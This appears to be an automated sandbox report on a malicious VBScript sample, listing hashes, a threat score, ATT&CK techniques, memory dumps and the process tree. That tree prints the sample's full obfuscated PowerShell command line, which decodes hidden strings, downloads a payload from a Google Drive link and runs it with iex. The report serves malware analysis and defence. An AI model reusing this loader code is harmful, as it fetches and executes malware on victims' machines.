0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743

General

Target

0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743.vbs
Size

8KB
MD5

fdf5dceb2d284e54cf0a421a463b621d
SHA1

e5f7ec649576934ac61090f1380d23b9d2ac5d09
SHA256

0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743
SHA512

a7af097d89597788c1f5f368dc5df4430efdb1315034b4790610d681284af2cb73d5d7627fcf8c6048558c2149ce553b2f9ac1d4ddc4aa84207644240ca51281
SSDEEP

192:3xbypOqPkZz+5xE1Naq+wtwFBsaqOaJA8Z/cDWzNZWiEtM0J:hblIiblwHsa3a/FcriEtv

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	1896	powershell.exe
7	1896	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1896	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1896	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2804 wrote to memory of 1896	2804	WScript.exe	28
PID 2804 wrote to memory of 1896	2804	WScript.exe	28
PID 2804 wrote to memory of 1896	2804	WScript.exe	28
PID 1896 wrote to memory of 2480	1896	powershell.exe	30
PID 1896 wrote to memory of 2480	1896	powershell.exe	30
PID 1896 wrote to memory of 2480	1896	powershell.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\0923a2d6d1c333ebd0f4320b2fe23015ecf70f3ebeb5a89d883b8259869d4743.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2804
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Karyokinesis104 = 1;$Unrefracting='Substrin';$Unrefracting+='g';Function Agonothet($Haandgribelige){$Judiciousness=$Haandgribelige.Length-$Karyokinesis104;For($organoleptically=5; $organoleptically -lt $Judiciousness; $organoleptically+=(6)){$Bundlses+=$Haandgribelige.$Unrefracting.Invoke($organoleptically, $Karyokinesis104);}$Bundlses;}function popess($Rdstjerternes){& ($Speecher) ($Rdstjerternes);}$Stentrykkerierne=Agonothet 'SuspiMStaccoUnvigzOverli ,ntolQuainl degeaPaste/Arabi5Strat.In.er0V,cci Petit(mo,igW Und,iD armn C brdRadiooStraawPharys.yldi tilstNAfhjeTCanad Skov1S,edi0 Min..H nds0 Pant;Svend Ne.paWbivaliPaveknPosts6Se,ip4Poro.;Plebi ConatxHuele6 Gras4Servi;Sonny ,ivvarGeckovShipp: Dans1 ulmu2runen1 Pro .br.sn0 Fina)Se vt Unde GForsteDesincHansgkBelonoForh./Epose2atmoc0nedve1Float0Missi0Vigne1Harce0 Gang1Pte o .egynFEndl iKonverPanereKruspf X.loo DistxAbdu./Klass1 Fr.m2Chink1Auten.L.del0Rulle ';$Untestable27=Agonothet ' PolyUTarogs,onheeJobs r,okse-Ted iA OlymgUnhaneSagitnMattetDanse ';$Mblements=Agonothet 'BefryhUn ertGr.fit TagspPul,os.jtad:Macro/T,edo/ Na.udBascurShippiChangvAuxineBegrn. A isgprimeoLovbeo T rng StralGoogoeD fer.EvighcSusp,oFr semDeg,a/AgftauLea hcTppeb?.asimeFlavoxTautop Tremo Natur,irketAgerk=Piet.dVindioSpisewDespinPaakllFishsoEl,esaMo.aidHiela&outgli .lgedRusti=Seign1 udstp Quen8 OverCafblaAKa hi5i.terIShawiWSkovrVAfparRS.icigIntragArrhigRtenjeDemarGLeptoBJo,glHbolst5 S.rjJTillgtGens.5 TermSParosAOvern7Tingeb .kstzStilpDDk,eniAscesw fo.wAColu.7 LazaDFemgreWaggo ';$Gashes=Agonothet 'Vekse> Tlle ';$Speecher=Agonothet 'Gl.cyiTr.nseEkspoxS,ibs ';$Hjemgivelsen='Drfyldingen';popess (Agonothet 'Sam.uSRetateO,pebtDucti-KangaC Li soGrundnEnsomtOzon.eStratnIleitt Dank p.ri-BesaaP Kan.aPrefat Alfah Tora KismTDrmm.:Halm \ UlleC Ghosl Whalu Le.nsDomnetRewineAccesr,necdyLands.fejlutNonauxCamayt.unkt Ubud -BinapVOvermaAkti.l billuUnparePr.in Rubri$JackaHInaprjJer.beAstr,mScenag RolliBand.vRecule AnnalZani.sKobbeeKont,n,ncom; Nonw ');popess (Agonothet 'BrugeiBassefarbej Tour(RestptG auceAnt ssSwerdtRela.-gondopTailgaKontotUsitah Hnge BifokTAksle:Fanci\KnickCFodtulRevoluOr.ogs Af.ot,npreeYngstrV venyBitte.RovdytSalamxOmnortBores)Behan{ Ek.eeChillxTele,i .trut Unl,} Slu ;L,vsf ');$Julegavens = Agonothet ' Bek eSheracUnwirhvr.stoBehnd Unmuz%anke,aOrigepBagr.p .ndhdGy,noaPer itPerspaKomed% fixu\TocorTB,boer ForhaHaroln BrungHan,lsGyptet,arkfiMictul PseufMilielVapordManteeMessi. LophPCerbeeTabacrSam.m Sigh,& F.br&Socio len.ie,oritcJagtsh.oraloInfan Sala$Nigri ';popess (Agonothet 'M,lkm$StatsgErhvel CrunoSpickbWheezaIchull H rd:SolioC,estuo ExosnPromisDonnatGenbra Tsa,n ejfntPlateiRandba shas Unh,=Indig(Skdebc RancmFrontdGenma .irc/ DeklcPres. Negle$ElverJHavaruForsrl,mbereR.eumginva,aZendovSpi.ieratepnHelfls F rt)G ucu ');popess (Agonothet 'ju,ef$Dob,egAnt.gl SiesoinddabThalaaOmforlMica.:DrageSVand.lNaturiHer enMontetDesmoesalatrTofro4Bo dg8u,sea=Vic.u$Ge erMUnciabDrvtylDon ee PutnmGlyc ePlat nskovttamalgsopvel.rabb.sAnacep Bltel .ouni.loritSpand(Nstfo$FiskeGBard,aPajamsTuetuhAl,ereCiselsHyp r)Immun ');$Mblements=$Slinter48[0];popess (Agonothet ' seam$Hel.cgArbejlPolygoStadfb Bulea mil ludska: St tREro,ru MatrbGrailrPiot,iExtercHalimeBy.gersti.ueCompasDeafe1Ethan0Almsd7Linea= Ud,tNMineseUd,ikwDeute-K.ystOMarkibEks mjMillieMondncUndelt.rapp BivirSSkizoymuntrs GingtPi.seeDampemArta,.Z nneNSovekeKatystBehag.LimbeWDecaseBillyb obulC.rilal PalaiPjecee,oresnMelletPenna ');popess (Agonothet 'Over.$ YounR RaceuS.ralb lectrFamiliMask.cDi feeHu rarNondeeAxhamsg,bbe1 reol0 Snub7Kri.e.Afr,dHBand.eAktivaMyotod Afkae c tarHegnssValgk[Fa le$Ere.tUEasygn billthasteeOmdebsPalertVisu a ZonkbDockilRo.eseStr,a2Hjeml7 Hjlp]Mi.la=Godsv$MicroSSte.st NudleBestrnHercutNons,r Ba.oyIm.otkGarruk FolkeMaillrIndreiSynale outdrCykeln un eeSuper ');$celandines=Agonothet 'Nbfl.RRa.bruTrst,bOtorrrYpperi,abatcFlommenamnarBranceScreesLindy1.edev0Un.er7Bolon. Eta.D Co loChariwTaarnnSoleml ScanoEks ea TreddS.ambF rudeimo,talKadeneMesat(,earf$GaardMBrystbClumplN,biaeGatt mLrepleFittinP,eintCordesUns,o,wi.es$ KompIProt,sBllebdP rickAfs ukPinnieRetab4Efter7 Dec,)Peace ';$celandines=$Constantias[1]+$celandines;$Isdkke47=$Constantias[0];popess (Agonothet 'Konvo$D sksg .arml ChamoSpdb bForekaOver lDipht:Cit,zhSuffeyForkrdListerVoryso ndymcSpageoTeserrAmantaDab,ilSu.ab=Forem(TraveTMalmieDuknasChlortTo,tu-niobePHa,ndaFejlmt Floth Zadr Men,o$GardeI NivesEpis,dTilbjkRembuk Forge cond4 .jib7Ri.ou)Flirt ');while (!$hydrocoral) {popess (Agonothet 'Drags$ La.egFlo hlLandsoVelgrbPoloeaPremalProgr:me,akDAfregiGirenfHairnfV.jnieKalkurTrstieAfpilnDi hocSuetsiF.actnLan vgGrf.e=Infor$MorgetFakturT ldfuO.stneyderk ') ;popess $celandines;popess (Agonothet 'ApertS Biomt Fonda ObserAnstrtBu.fo-SearcSSa,tal ExpoeU,skyePneu,pCra l Twib4Scute ');popess (Agonothet 'H lpe$ ForsgTaknelZosteo Brugbsvvefa Ge.mlModst:K.wieh prrsy,umildBravurGenudoFeriecZapuso Strur RuskaBloddl Int,=Smaln(LamelTDichoeHa mosQu.nntTin,f-Snup,P,aaseaDisp,tJudash Blan ryg v$Tax eIPiscasKli,kdEcheskNetkokT,aere Canz4 aund7t.ene).ngou ') ;popess (Agonothet 'Disda$ PrergScenalTouchoTra sbD finaSprinlHist :ReproSBiomat Vetco PistwAfbrnwRundtoVeeenoOrthodMythi3Unifo0Kines=Levem$Beva,gDiscelSekito.avfobTe.miarevlelUdben:ReskoSF,ltstR hearNe atgDa,legJurisaraketr UdvinSvarrs .ndesRu.katPlneroRutinf DopifProloeBlomsrAbands.tnkn+Moboc+Apoci%Delta$ EsopS.mitslAlvori UnrenBisamt fvaneu,sacrFarv 4folke8El en.Liberc upero ilduH akpnSteept Anse ') ;$Mblements=$Slinter48[$Stowwood30];}popess (Agonothet 'Tayr $ArmbagQueenlAllezo.mstnbkongsa FremlA.sik:Lege.DLo beo BienmEksameHjulssNden,tTap,oiFennekKohovv,afferEco yeT rjel AndesSilkseSatisr,hilosBaksn Man,a=Sark. Vans GNed,ieAfkastgysen-AiramC B.droCapsinAdiabt KompeSprinn.isfutBolig Phary$ O.onIAlkohsPlombdSenteklimpikKongeeSise.4homon7Bel.c ');popess (Agonothet 'Para,$Deemig Fllel sseoMulslb El,eam anelPs,lm:AgituTgang.eKastrn PhenaNo,prkAffi,tMnstraAmbitk Fste In.er=frekv Fisk[LnsomS Stasy,onvisGlaivt SouveGlaismRudsk. TmthCIsopyo Gl.tnUnprov .jlle Entrrdet ctMedit]Dagos:Endag:DecliFPermirStoppo GenemBelgiBJunipaRe.nfsKl.ppeFrtid6Cornc4Sp,roSAfndetTal.trAcrosiG.oedn MetagNarko(Trfor$ PseuDRailloWhi,emKeybde CystsTreattUnem iC pitk Funkv.idgerm.noseprvebl Venns Unsee uro rsvimls H.lt)Helio ');popess (Agonothet 'Bruse$magt gWag ilAvnedopupilbSaltaaBatiklSlukn: Mo,iR Legga Petrt esole s,ndpE.staeArenanAjoursUnderiStango ShronBlokm Sigil=Teend Skils[CheneSSjipnyO togs vernt ruffeBrnepmSluts.Re,ssTTriloeCa,woxPureetArg.n. ChicE Inten.etshcBu,fpoBr.eod PubliAssonnMis.cgstarn]Tuill:Sulp : poseA HennS AposC RsonI.versIK rsu.kommaGWusppeTi.stt HypeSS ifttLepidrHumifi ,otrnEk.prg,amme(Ba,lo$BourtTFalsieGainsnFrav,aG.dfokOp,evt rmpa.ommekDysan)Bygni ');popess (Agonothet 'Alant$FladbgthramlFolkeo Livsb P.roaMe.halFiske:M,lleMShawwePreinnDecenu,njuraProfilTarint Sti el,ehmrPres nKildeaDelbet R.fli BlatvOverie nudirB usksUn.az9.ntra3Janap=Termo$ FileRCh.mpaPrecitBagste CapipHuehueTillgnDrmmes Nedkisph.gohu,tlnDilet.Syda.s Te,suHaa dbTrilos Sinst Syslr jentiVandsnflunkgCo vi( am,e3serig0 Kom,4Stjer6Jeep,8Dueur3Outsp,Steni2Cysti7 Argu6Tetan4Psych8Nitro)Lubri ');popess $Menualternativers93;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1896
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Trangstilflde.Per && echo $"
    3⤵
    PID:2480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1896-4-0x000000001B230000-0x000000001B512000-memory.dmp

Filesize
2.9MB

Download
memory/1896-5-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/1896-6-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/1896-7-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/1896-8-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download
memory/1896-10-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/1896-9-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/1896-11-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/1896-14-0x0000000002AE0000-0x0000000002B60000-memory.dmp

Filesize
512KB

Download
memory/1896-15-0x000007FEF5420000-0x000007FEF5DBD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing